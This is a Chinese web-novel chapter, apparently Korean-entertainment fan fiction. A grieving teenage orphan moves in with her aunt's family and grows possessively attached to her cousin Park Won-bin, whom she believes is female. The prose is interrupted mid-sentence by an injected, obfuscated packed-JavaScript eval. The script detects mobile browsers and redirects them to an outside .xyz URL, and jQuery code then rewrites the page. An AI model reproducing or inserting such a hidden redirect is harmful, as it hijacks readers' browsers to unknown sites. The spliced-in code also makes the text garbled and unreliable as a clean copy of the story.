《[韩娱]恨兄症》 1. 我与朴元彬与占有 ——十七岁。这对许多同龄人而言是一个尴尬的年龄。 连高二都没适应过来,就稀里糊涂地升入高三,学业的压力沉甸甸地压在肩头。 犹如抵在多米诺骨牌上的小指,很轻,如果不去刻意留意甚至觉察不到存在,但如果稍稍施力,就会悉数溃堤。 而我就是在这个沉重的年龄的夹缝里被好心的姨妈收留,彼时我最后的至亲离世的噩耗传至。 我的母亲,她愚昧、可悲,妄想趁早离开蔚山这个囚笼,毅然追随父亲的脚步前往首尔,殊不知只是从一个早已习惯的地方走向一个更大且陌生的监狱。 她巴不得与二线城市早早撇开关系:扔掉缝缝补补的衣服、改掉一听就是来自蔚山的方言口音,甚至最终都与家里人断了联系。 她倒是想到什么就做什么,等意外去世后还是苦了我:踏入朴家家门之际,迟来的窘迫感犹如潮水窒息地包裹住我。 姨妈会如何看待我呢?她那个白眼狼姐姐的后代?不省事的拖油瓶?还是从大城市跌落到小地方的丑小鸭?——都没有。 温柔的、朴素的女人把我带回家里。我知道她家有两个孩子,却不知道具体情况,只知道长子的性别,在他迎来对韩国人来说最重要的成年礼的时候,我们都没从首尔回来参加。 如今他在成均馆大学念书,那里坐落于首尔,交通不方便,于是他选择的是寄宿制,现在还没放假——又是在首尔。我怀疑自己与首尔这个词有不解之缘。 而我就是在这个时候遇见的朴元彬。 大概是姨妈提前跟家里人打过招呼,于是在我一进门的时候,对方正好从房间里出来。 我驼着背躲在姨妈身后,她不像我那虚荣的生母总喜欢把我拉出来撑场子,而是任由我回避社交,转而耐心地与对面交谈,“从今以后我们就要一起生活了。” 她说出我的名字:尹彩书,同时告诉了我她的第二个孩子的名字:朴元彬。随后姨妈又仿佛想起什么似的,温和地告诉我不必以敬语相称。 有点男性化的名字。然而当我抬起头想偷偷去打量之际,又因那中性甚至是偏美型的外貌震颤:他?还是说她?留着一头蓬松的中长发,精致的脸颊犹如是绷在骨架子上柔软的绸缎,那么明亮圆润的眼睛则像是在绸缎上烧了两个黑黢黢的斑点,厚厚的唇瓣一张一合,好像说了什么,但我没听清,下意识地张口道:“姐姐好。” 姨妈身形一抖,朴元彬则是轻不可察地一愣,不过最后还是没有说什么,向我点了点头。 他人的沉默令我不免担忧且焦躁,办完丧事后的压力瞬间从心尖涌至喉头,我想问很多很多问题:我的房间在哪里?我是说错什么话了吗?我要怎么和拥有血脉关系却从未相处过的人相处? 我想,我的忐忑定然是不擅掩盖地流露了出来,不然原本站在我身前的姨妈也不会突然侧过身,而朴元彬拿来抽纸,低下头给我擦眼泪。 太丢人了,我忍不住唾弃自己:第一天和姨妈家的孩子见面,就没能控制住泪水。 可是姨妈和朴元彬看上去并不在乎,甚至后者为我擦拭泪珠的动作些许僵硬,靠近我的时候能嗅到精油的甜甜的香气——我更确定“她”的性别了,毕竟怎么可能有男孩子拥有漫长的耐心会在洗完头后细细涂抹精油? 就连首尔大都市的那些富贵出身的男生都会几天不洗澡,每次体育课下课后教室里都会弥漫男生特有的汗臭味。 我承认,姨妈是个好人,但是年龄相仿的同性更能让我有安全感。 于是我扑进了朴元彬的怀中。仿佛收起爪牙的猫把她的衬衫当作猫抓板,无力地攥起又松开。 晚上,姨妈、姨父和朴元彬一起下厨,让我在房间里好好休息。这也是我第一次知道原来家庭关系也能这么健康且平等。 他们做的饭菜很丰盛:辣乎乎的大酱汤、包了五花肉的脆脆的泡菜炒饭,还去外面买了红豆馅跟抹茶馅的鲫鱼饼回来当餐后甜点。 我舀了一勺炒饭,剁碎的辣白菜被嚼出汁水后散发出热腾腾的辣意,从喉咙一直滚到肠胃,把我的泪水和鼻涕又度灼烧了出来,于是我不得不放下勺子,狼狈地去够桌上的餐巾纸。 姨妈赶忙放下餐具,我胡乱擦着眼泪,含含糊糊地辩解道,我没哭,只是不太适应吃辣而已。 这个借口就连我自己听着都有些牵强,但所幸餐桌上其他三人都没有戳穿。 朴元彬没说话,只是默默站起身,从厨房的柜子里抽出一袋面饼和速食年糕,开了锅咕嘟咕嘟煮了起来。 她的动作看似稳重,可似乎也因为我而显得略有匆忙——其体现就在泡面没彻底煮软就捞出来了。 几块没泡开的面条像打了结的毛线,特制的酱料黏在上边,嗦着咸咸的。 不过我也没多说什么。再怎么咸也咸不过生理性眼泪。 饭后收碗筷的时候,朴元彬路过我的身边,我低声说:谢谢。 朴元彬动作一顿,抬手拍了拍我的肩膀,权当安慰。 ——朴家给了我充足的时间冷静亲人过世的事实,后来我反省这段寄人篱下的时光,才后知后觉这时候的我未免表现得些许无礼:从来不主动沟通、吃完饭就躲回房间里、偶尔在客厅相遇还会下意识地躲闪开他们关心的目光。 但是,有点厚脸皮地说,要是再给我一次重来的机会,我依旧会表现得这么半死不活。 这也是没办法的事。 大都市的学业压力本就繁忙,与此同时最后的亲人离世的事实更是雪上加霜,那几天我的眼泪都流干了:想到马上要开学了就想哭、快高中毕业了还没想好大学的去路也想哭、回到学校要被同学们指指点点“那个失去了双亲的孤儿”更想哭。 姨妈曾找我谈心,告诉我有什么不顺心的事可以随时找他们,我面上答应,心里却仍过不去那道坎,还有就是不好意思让他们承受我的情绪。 我不禁唾弃这该死的自尊心,继承什么都好,偏偏继承了来自我母亲那愚昧又可悲的高傲。 而我与朴家之间的第一次破冰是一个夜晚。 我读过很多作家在文学作品里描述人的离世:中国人爱好恶趣味地描绘淤泥中生长的韧性之花在一次次打击下最终自甘凋零、日本人喜欢悲观地记述碌碌无为的社畜承受爱人离世后仍要麻木地赶着电车继续那狗屎的生活、韩国人则偏好在洪流般的社会里高举反抗之旗毅然奔向终焉。 可是,直至悲剧降临在我身上的时候,我才意识到原来文学名著也会写得有失偏颇。 因为我没有崩溃也没有慷慨激昂,仅徒留冷静到可怖的麻木。 早上八点起床吃早餐、写假期作业、吃午餐、睡午觉、复习功课、吃晚餐、躺在床板上发呆、感觉到困了就去洗漱,然而洗漱完又被冷水刺激得清醒了,于是不得不继续躺在床上静静地等待睡意的侵蚀。 没有以泪洗面,没有哀声载道,只有冷静——后来我才知道,这是身体的潜意识自我保护,不愿承受这个可悲的事实罢了。 某一天——真的是毫无征兆的某天——我坐在卧室的书桌前发呆,玻璃窗折射出外边的行人的影子。 我看到一位没有耐心的母亲拉扯着才长到大腿往下一点儿的孩子,她打扮浮夸,我甚至能幻想到那身长裙定然飘散着过于浓郁的香薰的气息,因为我的母亲就是如此。 小孩指着路边的鱼饼汤摊子,叽里咕噜说了什么,母亲看着很不耐烦,两根眉毛犹如横起的船桨一撇,孩童就瞬间不再吭声,但还是讨好般地拉了拉她的衣角。 我自这对看似寻常的母女身上隐约窥见属于自己的身影。 刚搬到首尔的时候,母亲尚且不能适应首都那要比其他地区还要昂贵的物价,偏偏不肯承认自身的穷酸,于是每一次在外消费,她都装作满不在乎地大手一挥,随便买啊!出来生活就是要买的,不然我们特地搬来大都市的意义是什么? 结果回到窄小的租房后,她又要扣扣搜搜地计算,怎么又花了这么多钱?你怎么不少吃点呢? 于是长久以来,我也养成了这种畏畏缩缩的性格,干什么前都要精打细算预算要花多少,结果算来算去最后还是什么也没买。 当晚,我做了噩梦。 温柔的母亲、小气的母亲、愤怒的母亲、笑着的母亲、哭泣的母亲,诞下我的母亲,抛弃我的母亲。死去的母亲。 她的所有犹如产生了巨人观的尸体,最初平静无波,而后逐渐涌现上来,爆裂、变形,在我的躯干内留下难闻的痕迹。 疼痛盛满了我发凉的躯干,填满我的毛发、我的血液、我的肢体、我的小腹、我的子宫,在这个狭小的宫腔里又孕育出分娩般的痛苦,我拼了命地想用手徒手掏出,最后拔出来的只有破了羊水似的疼。 不知道哪刻开始是现实与梦境的边界线,我只知道我第一反应下了床、又梦游似的开了门,结果要走出去的时候因四肢无力发软而跌落在走廊。 夜晚的房屋安静又黑暗,糊成一团的脑海里突发奇想:我难不成要死了吗? 但是,不知道该说幸运还是不幸,我感受到有另一双手扶起了我。 一瞬间,我像一坨黏糊糊的海藻迅速缠上了对方。 我觉得我的姿势有些滑稽,可那人没说话,也没有把我拉开,静静地任由我胡作非为。 黑暗里我看不清是谁,四肢还手脚并用地缠着对面,空不出来,于是我干脆试图用唇瓣勾勒出怀中之人的线条:脸颊肌肉似乎是微微绷紧,保养得很好的皮肤摸不出一丝毛孔。 对方为了我动作方便,迁就着微微低下头,微长的发丝与我纠缠在一起,我同样吻过了发尾。 最后,下滑到唇角,那人终于按耐不住了,沙哑着喊出我的名字,尹彩书,醒醒。 连名带姓被人称呼搞得我猛地一激灵。 我泪眼朦胧地抬起头,瞧见她与黑夜一个色儿的瞳仁。 “放轻松,尹彩书,我不会怪你……”她因我的震颤叹息,不过语气里不含责备,“我只是想去客厅倒杯水。虽然不知道你怎么了,但是先回卧室坐到床上,等我回来再陪你,好吗?……对了,你想要苹果蜂蜜水还是热牛奶?” 我讷讷地选择了前者。 朴元彬说,那你要多等一段时间了,我要切个苹果。 我说,好。 我与朴元彬的相处时间其实还没有和姨妈的多,可不知怎地,我也愿意去相信她。 我松开了朴元彬,她安抚般地拍拍我的肩膀,然后就离开了这里——不知道她为什么这么喜欢这个动作,难道是不太擅长交涉吗? 我终于慢慢地冷静了下来,打算按照朴元彬所说的回到卧室等她。 但我已经不想重回刚在那儿做了噩梦的地方了,于是目光转又锁定了朴元彬的房间。 不过我还没有厚脸皮到可以不经允许擅自进他人房间,因此还是乖乖蹲坐在原地一动不动。 开了灯的客厅隐隐渗透出些许光亮到这边,我听到朴元彬耷拉着拖鞋的脚步声、咔嚓咔嚓切苹果片的声音,还有水壶里的水烧开的嗡鸣。 如此日常的声响此时此刻令我无比安心,犹如一撮把我从虚幻缥缈中拉回现实的浮萍。 几分钟后,左手一杯纯净水、右手一杯苹果蜂蜜茶的朴元彬站在蹲着的我的身前,她看上去有点无奈,“蹲久了腿会麻的。不是说好在卧室里等我吗?” 我不好意思地抬头,与她对视,“我想去你的卧室睡觉。” 朴元彬沉默了。她的脸在黑暗中看不大清晰。 “……那你等我一下,我要收拾收拾。” 我点头,心里想,原来洗完头会抹香喷喷的精油的、干干净净的姐姐,卧室里也会乱糟糟的吗? 朴元彬没让我等很久,估计只是大致整理了一番。 在这段时间的间隙,我回卧室拿了自己的枕头和被子。 拎在手里沉甸甸的,我努力托着才不让被子滑到地上。 朴元彬收拾完出了房间,接过我的床具,动作间难免触碰到我的手臂,我感受到她流畅的、微鼓的小臂线条,手上还残留温热的苹果蜂蜜水的温度。 这是我多年以来第一次再度与人同床共枕。 在上小学后,我就不再和母亲一起睡觉了。 她舍不得开空调,我和她就一大一小挤在硬邦邦的床板上。 天花板挂了个吊扇吱呀吱呀响,偶尔飘零几条灰絮,吊扇艰难转动的呻吟与窗外的蝉鸣明面着比较谁的声音更响。 后来我实在无法忍受两个人缩在一起散发的热气,果断提出分床,也不管她如何一边发出尖锐的责骂指点我这么小就想脱离母亲的掌控、又一边与他人攀谈时刻意提起此事洋洋得意道自家小孩比其他同龄人都要早熟独立。 经我这么一闹腾,本意只是想倒杯水的朴元彬也不困了。 朴元彬开了盏小夜灯放在床头,架着个黑框眼镜,低头翻着手机。梳理柔顺的发丝耷拉在眉眼前。 我小口啜着热饮,借着昏暗的灯光肆意描摹她的形状。 这还是我自初遇后首次如此细致地观察朴元彬,同时也发现了许多先前没注意到的小细节:她的中长发不是顺而直的,尾部还有些自来卷;她的肤色不是和我一样常年不运动的苍白,而是透露着健康的古铜色;她在不笑的时候显得有些锋利且不易近人,眼尾微微上挑,厚唇绷紧,看起来有点……紧张? 好吧,其实我也能意识到提出要同床共枕的这一行为的突兀,可现在再灰溜溜地跑回自己的卧室的话未免更奇怪了! 所以最后想来想去,我仅是支支吾吾地开口道:“你难道不问问我为什么要和你一起睡吗?” 朴元彬翻手机的动作一顿,目光从聊天页面转移到我佯装正经的面容之上——她好像很擅长与人一本正经又含情脉脉地对视。 朴元彬实话实说:“好奇,但是我不会多问。” 不得不承认,这种回应反倒让我安心了些。 我喝完了苹果蜂蜜水,朴元彬接过空荡荡的玻璃杯,又把我们俩的杯子叠在一起,推到床头,顺势关了台灯:“早点睡吧。” 我犹豫道:“你不用再回消息吗?” 刚刚我余光瞥到她手机的一角,好像不管她发多少消息,总会有一连串更多的白色气泡框咕嘟咕嘟冒出来。 朴元彬说可以明天再看。于是我半放下心来。 来这儿之后我不曾过多留意过,之前母亲也没有告诉过我,但其实朴家家境很不错,甚至可以说比我在首尔住的房子还要豪华,放在蔚山这个二线城市已经是数一数二的水平。 朴元彬的床很大,躺两个人绰绰有余,更何况我因为童年时期落下的心理问题导致食欲一直不振、因而现在体型偏瘦。 在黑夜里她背对着我,后背的线条随呼吸轻微震颤。 我这才发现朴元彬并不符合大众社会对女性的白幼瘦刻板印象,她没有那么瘦——当然也不是说她胖的意思——而是她好像有健身的习惯,并且成效还不错,我能瞧见那鼓起的肌肉轮阔。 我并不觉得这很奇怪,反之对这位与我缠绕着细小的血缘关系的姨妈家的姐姐产生了更多的好奇,她朦朦胧胧的形象潜进我的脑海又缓慢飘出。 我发现我对朴元彬的理解还远远不够。她究竟是什么样的人? 她似乎也对我这个不速之客的到访感到不适应,未曾过分热情地与我交涉、也未曾表达过强烈的抵触,好像她就只会平静地站在那里,默默向我投来关注的目光。 我发觉我最需要的就是这种人的关心:与我年龄相差不大、是同性、美丽又平稳。 这么说或许不太道德,但是我可以尽情向朴元彬输出我的痛苦,与此同时我也无需付出什么代价,因为她能足够包容我如同异端般的存在。 我动了动被子,悄悄从背后蠕动着靠近朴元彬,想偷偷抱住她。 几乎在我靠近朴元彬的那一刻,她就察觉了,身形即使不用开灯也肉眼可见地一僵。 于是我不得不在距离她还有几厘米的时候停下来,小心地试探:“对不起。打扰到你了吗?” 朴元彬斟酌须臾,诚恳地回答我:“不好意思,我不太适应这种肢体接触。” 按理来说,正常人都能意识到这句委婉说辞的言外之意就是拒绝我的接触。 但我也清楚我不是什么精神内核强大的正常人,因而厚颜无耻道:“可是我很害怕,我刚刚还做了噩梦,现在睡不着。” 朴元彬不说话了。 几秒后,她小声说,好吧,但是早上我可能会早点把你喊起来,不然妈妈会发现你不在自己的房间的。 我胡乱应声,心里想的是:原来这么漂亮的姐姐说“妈妈”这个词的时候还会操着土土的蔚山口音。我的母亲就不喜欢。 当初搬到首尔,她甚至专门请了普通话老师来纠正我的方言。 我从背后抱住朴元彬,她的体温透过薄薄的睡衣渗入我满膛疮口的胸脯,仿佛在雪地里绽开出一朵温热的昙花。 我的手得寸进尺地抚上朴元彬的腰间,环住她精瘦的腰肢——不然这就不叫拥抱了。我理直气壮地如此说道。 朴元彬拗不过我,我感受到手下的身躯渐渐因紧张而绷紧。 她弓着腰,恍如拉满的弓弦蓄势即发。 当时的我完全没有多想她的异常,权当这位看似不易近人的姐姐只是不习惯肢体接触。 我也不觉得奇怪,毕竟她看上去就像学校里不少男生女生都憧憬却又不敢送情书给她的校园高冷女神。 我更用力地抱着朴元彬,像是要把她的存在嵌入我的血肉里,如此才能让我安心。 我想,如果我有个亲生的姐姐,一定要是朴元彬这样的。 我想与她自胚胎时期就挤在同一个空间里,就像现在这样;我想牵着她的手一起成长,她快乐我也快乐,我痛苦她也痛苦。 这个晚上我睡得很香。 次日,不需要朴元彬提前喊醒,我就自动睁开了双眼——我的睡眠很浅、质量也很差,在她稍稍一动的那一刻就迅速清醒了过来。 朴元彬好像有点近视,她眯着眼睛,随手拿起床头充好电的手机,两眼一睁就是开机,开始嗒嗒嗒打字回消息。 她打字的时候很专注,甚至没注意到我也同样静悄悄地醒了。 当然我在这种事情上还是很有教养的,虽然好奇朴元彬怎么睡前醒后都有那么多天要聊,可依旧没有去偷看她的聊天记录,光是安安静静地抱着她就能让我平和许多。 她就像为我量身打造的、行走的精神抑制剂。 我的余光开始打量朴元彬的房间:她的卧室壁纸是漂亮的天蓝色,某处墙角堆了一个黑色的吉他包,衣架柜处耷拉了几顶毡织帽。 我觉得朴元彬一定是个很有个性的、酷酷的姐姐。 不知道什么时候,朴元彬注意到我醒来了。 她关上手机,犹豫了一瞬,还是把手搭在了我环在她腰肢的手上,“你好一点了吗?” 我点点头,昨晚死缠烂打着人家陪我睡觉的害臊又迟来地涌了上来。 我松开了朴元彬,为我的失礼道歉。 ——不过我没有向她保证以后不会这样了,因为说实话抱着朴元彬睡觉显著提升了我的睡眠质量,还蛮不错的,就是苦了她要迁就我了。 朴元彬坐起来,略长而卷的头发被压得有些凌乱。 她帮我折好被子,把枕头叠在上边,下了床替我抱回我的房间。 当天吃早餐,姨妈惊讶朴元彬居然起得这么准时——听说朴元彬一般都是凌晨两点后才入睡,然后干脆补觉补到中午。 我听了后的第一反应居然是她的作息这么颠倒皮肤还能保养得这么好。 餐桌上,我偷偷看向朴元彬,她也无意与我对视,几秒后向我表示出一个表达友好的微笑。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340662|183425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想:昨晚的同床共枕或许是我和朴元彬的第一个共享的二人秘密。而有了第一个就会有第二个,有了第二个就会有无数个,就此叠加。 人与人的关系就这样被秘密捆绑在一起,像是高粘性的胶水,即便强制分离后也会徒留伤痕累累。 也正是因为朴元彬,我才感受到我逐渐融入了这个家。 我不再跟避光的吸血鬼似的成日宅在卧室里,偶尔也会从自己的小空间中溜出来和朴家聊聊天:比如帮姨妈洗洗水果、和姨父聊聊升学的准备。 以及更多时候,我更喜欢窜到朴元彬的卧室里,她也被迫习惯了我的得寸进尺。 我来到朴元彬的房间,不一定就是找她有事,仅仅是和她待在一起更让我安心而已。 有一次,我带着作业到朴元彬那儿写。 我造访的次数多了,朴元彬已经自然而然地为我特地准备了一张椅子,拉到书桌前,任凭我坐在那儿占领本来属于她的空间。 她自己则是坐在床上,大部分时间还是拿着手机在打字——我感觉我知道她为什么高度近视了。 我的成绩不好不差,是最不会被老师注意到的那种中规中矩的学生——不会好到成为老师的骄傲,也不会差到被老师重点批评。 但在办长期假期手续之前,我已经因为乱七八糟的家事搞得没什么心思听课,导致落下不少知识点。 写经济作业的时候,我有题目不会,绞尽脑汁依旧毫无头绪,于是干脆拿着作业凑过去,请教朴元彬。 她架着眼镜接过厚厚的作业册,对着题目苦海深仇盯了许久,最后说她不会数学。 她喜欢数学,但这和数学是两码事。 我犹豫了一会儿,还是告诉朴元彬,说这不是数学是经济,那些数字符号是要进行经济方面的计算而已。 朴元彬沉默了,接着回过神,理直气壮地说,那就更看不懂了。 好吧,我知道擅自给人加期待滤镜不好,可我还是小小地惊讶了一下:原来朴元彬也有不会的东西。 我刚想收手,朴元彬又忽然开口补充,说她有个朋友是学经济的,可以帮我问问。 朴元彬打开kkt,把题目拍下来,找到一个用户,发送给对方。 *kkt=kakaotalk≈韩国微信 朴元彬并不避讳我去看她的聊天记录,甚至像是要向我应证她不是在表面上欺骗我有人脉、实则背地偷偷用Kwonda搜答案,主动把手机屏幕往我这边倾斜,给我看她和这位备注是“taro哥”的人的对话。 *Kwonda≈韩国作业帮 给对方的备注一看就得知是位男性,头像还是一位男生的自拍。 我觉得这应该是从ins偷的网络男神图,因为我在现实里没见过长得这么标致的男生。 我在聊天页面能看见朴元彬和他上一次的聊天记录。 taro哥问,你什么时候回来?朴元彬回答,还没想好。然后taro哥发了个“OK”的表情包。 他们的聊天方式很自然。 在等待这位taro哥的答复的时间,我忍不住问朴元彬,这是你的男朋友吗? 朴元彬被口水呛到,咳得满脸通红。 一向对我很宽容的朴元彬首次如此明显地流露出无语的神色:“你为什么会这么认为?” “感觉你们相处很自然,好像认识了很久。” 朴元彬反问,难道就不能是好朋友吗? 我说,男女之间不可能存在纯友谊,除非男的是基佬或者女的是拉拉。 说完后,我开始反思自己的这番话语:首先,我已经推断出“taro哥”的头像自拍是ins上偷的超绝网图,而我只见过打游戏泡妹子的顺直男会用网络男神头像,所以他应该不是gay。那么难道朴元彬……? 不等我悟出这个细思极恐的结论,taro哥就回消息了,我的思绪就这么被强制打断。 朴元彬看不懂这些学术性言论,所以干脆把手机递给我,让我自己看。 对方的解释清晰明了,我读了几遍后终于看懂。 这时,taro哥又发来一条消息,【有点好奇,你怎么突然开始学习这些东西了?】 我不知道怎么回答,跟玩传手绢游戏一样把手机又传给朴元彬,她淡淡地扫了一眼,随意地对我说,是你在问问题,所以你来回他。 我开始纠结要怎么回。 我不擅长社交,更别说和素未谋面的异性聊天了。最后删删减减半天,只发了一条:【不是本人】 taro哥发了个疑惑的表情包。 于是我只好继续打字:【我不会这道题,是她(geuyeoja)告诉我有朋友会的】 taro哥跟个人机一样又发了一遍疑惑的表情包:【她(geuyeoja)?】 我真服了,所以说我才不喜欢社交,为什么解决完一个问题还有另一个问题。 我认命地继续回他:【就是朴元彬啊】 对方不说话了。 聊天页面上,taro哥迟迟没回应,而是一直飘着一个灰色省略号的气泡框。 *kkt的正在输入中会显示一串省略号 朴元彬好奇为什么我们聊了这么久还没结束,凑过来看的时候,她身上熟悉的、甜甜的芬香飘过我的鼻尖,我情不自禁地把注意力从手机转移至朴元彬的身上。 在看清我和taro哥的聊天记录后,朴元彬的面容微微扭曲,主动从我手里接过电子设备,说交给她来回复。 朴元彬的打字速度比我快很多,与此同时表情也变得很精彩。 这还是我第一次看到朴元彬这么生动的模样,不禁令我对这位不曾相识的“taro哥”油然而生一股警惕心——好吧,我有短暂的两秒反省了一下是否是自己的不懂边界让朴元彬感到放不大开,但不影响我还是不爽的事实。 我拿着作业本转过身,默默照着taro哥的方法写作业。 后来我用Kwonda搜了搜答案,发现他的解题思路比网上的还要简单清楚,这让我更不爽了。 虽然我也不知道我不爽的理由是什么。 我不大擅长掩盖自己的情绪,小时候就因为常常面无表情被母亲训斥了好多次不要拉着个臭脸——结果直到现在也不会隐藏。 估计是我的低气压透过后背都被朴元彬看穿了,在我写完今日份作业放下笔的那一瞬,朴元彬立即开口问道:“你不开心?” “有点,”我干脆实话实说,因为在朴元彬的面前我不必像对待我母亲一样要说谎来讨对面欢喜,“但是我知道我没有理由不开心。” 事实证明,这种有话直说的相处模式估计更合朴元彬的口味。 我说话的时候没有回头,却敏锐地听见背后传来窸窸窣窣的动静——是朴元彬自个儿又拉了个椅子过来,在我旁边坐下。 我身子一僵,感受到她靠近我的存在的气息。 朴元彬似乎没觉察到我的不对劲,而是带了点儿无厘头的笑意地问我:“你生气了?就因为我和taro哥认识?” 我感到挫败,主动败下阵:“……对不起。” 朴元彬没有怪我莫名其妙容易陷入死结的小心思,而是向我详尽地解释:“我可以向你发誓,我们真的没什么——他是我的……嗯,你可以理解为工作同事。” 怪不得taro哥会问朴元彬你什么时候回来,想来应该是可悲的社畜想拉同事回去一起当牛马了。 “原来你已经工作了?”我压抑的情绪犹如被驱散的乌云、轻易地因朴元彬的三言两语渐渐剥离,然后关注点微妙地偏移到其他方面。 “我看着不像有工作的样子?”朴元彬好笑地反问。 “有点想象不出你会当社畜四处奔波,”感觉这张脸比较适合去吃颜值这碗饭,以及,“为什么社畜还能把皮肤保养得这么好?” 在我的刻板印象里,上班族应该是每天都半死不活地挂着比眼睛还大的黑眼圈,随时散发着低气压。 朴元彬坦白道:“你想学吗?我可以教你怎么保养。” 我想了想,说,算了吧,我在学校里又没有喜欢的人。 朴元彬先是告诉我,又没人规定打扮一定是要给喜欢的人看的;而后又对我说,你怎么能确定以后没有喜欢的人呢? 还好她是个女的,不然我会觉得这番话太典了。 不过最后我还是说:“当然可以确保。”因为我有你就够了。后半句话我在心里悄悄翻滚道,没有明面上说出。 毕竟这样沉重的话语说出来估计也不会有人信,只有我自己心里清楚:这不是过家家的玩笑话。 在见到对方的第一眼,我就强烈地产生了这种想法:我喜欢朴元彬。 这种喜欢无关我性取向是否扭曲,也无关爱欲,只是单纯的、最朴素的喜欢。 我喜欢朴元彬的漂亮、喜欢朴元彬的成熟、喜欢朴元彬对我的包容。 母亲死后,将她病态的占有欲同样继承了给我。 生前,她喜欢对我管东管西:我出门玩必须要跟她汇报要去干什么,就连行程的酒店与途径的地点都要详尽地告诉她。 然后她会顺藤摸瓜地监视酒店的内部样貌、游玩地方的大众评价,就像她也亲身经历了一遍我行走的路线,这才心安理得。 现在她死了,我竟然不适应不再有人对我掌控,于是径直把这份占有欲遗留了下来,开始变成了我占有朴元彬。 当然还没有进化到像母亲那样严重,目前还只是萌芽阶段:我像动物会标记认准的地盘一样,经常会随机性拿些自己的小物件塞到朴元彬的卧室里。 我用我的旧书本填充朴元彬空着的书架,又把从老家搬来的不再用的小玩意儿通通堆到朴元彬的桌面上。 我厌恶母亲带给我的痛苦,所以我恶趣味地欲要也先把这份痛苦嫁接给他人。就此生生不息。 2. 我与朴元彬与起誓 生理期。我坐在马桶圈上沉重地低下头,望着精准避开了贴着卫生巾的部分的那一小块调皮的深褐色印记陷入深思,——该死的生理期! 我知道,很多人都会避开这个敏感的女性话题。 无论是现实还是文学作品,也无论是出于不想让女孩子感到羞耻、还是说觉得大众刻板印象觉得这个隐私的话题本就不该拿到明面上侃侃而谈。总而言之,我很少见到会有人大大方方地谈及女性的生理期。 但是,此时此刻,我就是要大声悲叹:靠,这该死的生理期! 我真心觉得老天爷对我太不公了。 这几天好不容易情绪稳定了下来,也开始尝试主动出去走走了,现在又因一月一度的生理期突击得再次崩溃。 我本以为我悲剧的生活终于即将画上句号,结果就在笔尖要把那个句号用力地画得很饱满的时候,忽然被个不知名事物咚地来个突袭肘击。 于是句号在还差一丁点儿就能结尾之际猛地被打搅,不仅没能画完,还斜出了道很难看的印子。 特此声明,这个印子还是血色的。 我此时此刻唯一的庆幸就是没有把经血蹭到朴家的哪处家具上,仅仅霍霍了我的底裤。 我面上镇静地把吸满血的卫生巾从底裤上撕下来再卷起扔到垃圾桶,实则心里有点淡淡的崩溃地打开马桶旁的储物柜,结果里面只有厕纸和排排放的卫浴凝胶等等洗剂用品,没瞅见一点儿卫生巾的影子。 我感到一丝违和与困惑。 姨妈已经生长到了中年女人绝经的平均年龄,用不上再操心这些;但是朴元彬显然是一位健康的女性(?),她的肌肉锻炼得那么完美,所以生理期理应也是很规律的。 偏偏这里没有任何卫生巾、棉条和安全裤存在的痕迹。就连我现在贴着的也只是从老家带来的唯一一张卫生巾,不是从朴家拿的。 吃完早餐后,姨父去工作,姨妈则是和她的好朋友们一起逛街去了,家里只剩我和朴元彬。 朴元彬今天难得早起,不过也没吃多少早餐。 担心我吃不惯蔚山的饮食,这几日的早餐品种都很丰盛,有中式煎饺、日式饭团和韩式紫菜包饭等等。 结果朴元彬仅仅挑了份热量最低的米粥,跟润喉似的抿了几小口,然后就果断放下。 令我震惊的是向来很关心孩子饮食的姨妈姨父对此没说什么——要知道如果我吃饭的时候对哪道菜碰都没碰过,他们当日就会私下偷偷问我是不是不喜欢吃,搞得我都不好意思了。 然而轮到朴元彬挑食,他们看起来却习以为常。 朴元彬离开餐桌后,向来被生母教导食不言寝不语的我破例地忍不住问道:“她(geu)不多吃点吗?” *注:「geu」为中性代称,男女皆可;前章出现的「geuyeoja」为特指女性代称 姨父笑了笑,给我夹了块煎饺,司空见惯道:“元彬在节食期呢,不用管他(geu)。” 我瞳孔地震。 朴元彬的身材管理都这么好了,再锻炼下去真的要变成Tiktok里发自拍然后评论区会出现一堆“宝子们看了后我才惊觉我好像是直女微双【捂嘴哭】【OK】”言论的那种铁T了。 好吧,仔细想想,饮食不规律好像也会导致经期失调……不对,偏题了,重点不是这个,现在的最大问题是家里没有卫生巾了。 其实我有想过要不要干脆拿几张抽纸垫着,然后身残志坚地下楼去便利店买卫生巾——可是一来这个行为风险太大且过于浪费厕纸,二来这里到便利店还有点距离。 当然还有一个最大的、同时也最简洁明了的原因:懒。 天呐,我都这么惨了,就不要让我拖着这副物理意义上血迹累累的躯体去便利店了。 我更情愿坐在马桶圈上一直等到双腿发麻。 我无比庆幸今天的朴元彬没有一觉睡到中午,不然我就找不到求助的人选了。 我果断掏出手机,打开kkt要给朴元彬发消息求助。 我第一次如此感谢这个上厕所都要带手机的坏习惯被亲妈骂了多少次也舍不得改掉,现在真是救了我大命。 我把需求在一个气泡框里言简意赅地全部说完:“家里卫生巾没了,可以麻烦你帮我去隔壁便利店帮我带几包回来吗?” 我看着屏幕上的“正在输入中…”停留了好久,心想朴元彬不愧和那位taro哥是朋友,就连打字都一样这么慢。同时觉得他们的老板真可怜,遇到这俩慢吞吞的员工,工作效率一定很低。 朴元彬终于打好字发了过来。他问,什么牌子? 我说,随便。 朴元彬又问,具体要几包? 我说,随便。 朴元彬的无语透过文字传递给我:不要说随便。 我只好回答,越多越好。因为我懒得再去买了。 朴元彬发了个OK。 我补充道,钱到时候转你。 朴元彬说,不用了。 然后我清晰地听到朴元彬急匆匆出门的声音。 我心安理得地坐在马桶上刷手机,想借此消遣时间,结果发现根本没用。 太疼了,我感觉我要疯了,手机都不能转移我的注意。 初中第一次迎接初潮前,我就读过伊藤比吕美女士写的《闭经记》,工整的印刷体记述着这位同性对生理期的描写:“月经不麻烦,来的时候简直像和老朋友重逢。赤红的血好似夜空中绽放的辉煌烟花,完全是种喜庆!” *有删减 当时读的时候感觉写得好美,现在我脑子里却只有一个念头:靠,还特么烟花呢,我马上要疼成一坨劣质的烟花再嘣一下炸得粉身碎骨了。 最后我艰难地拿起手机,又向朴元彬补充,再帮我买一板止疼药回来。 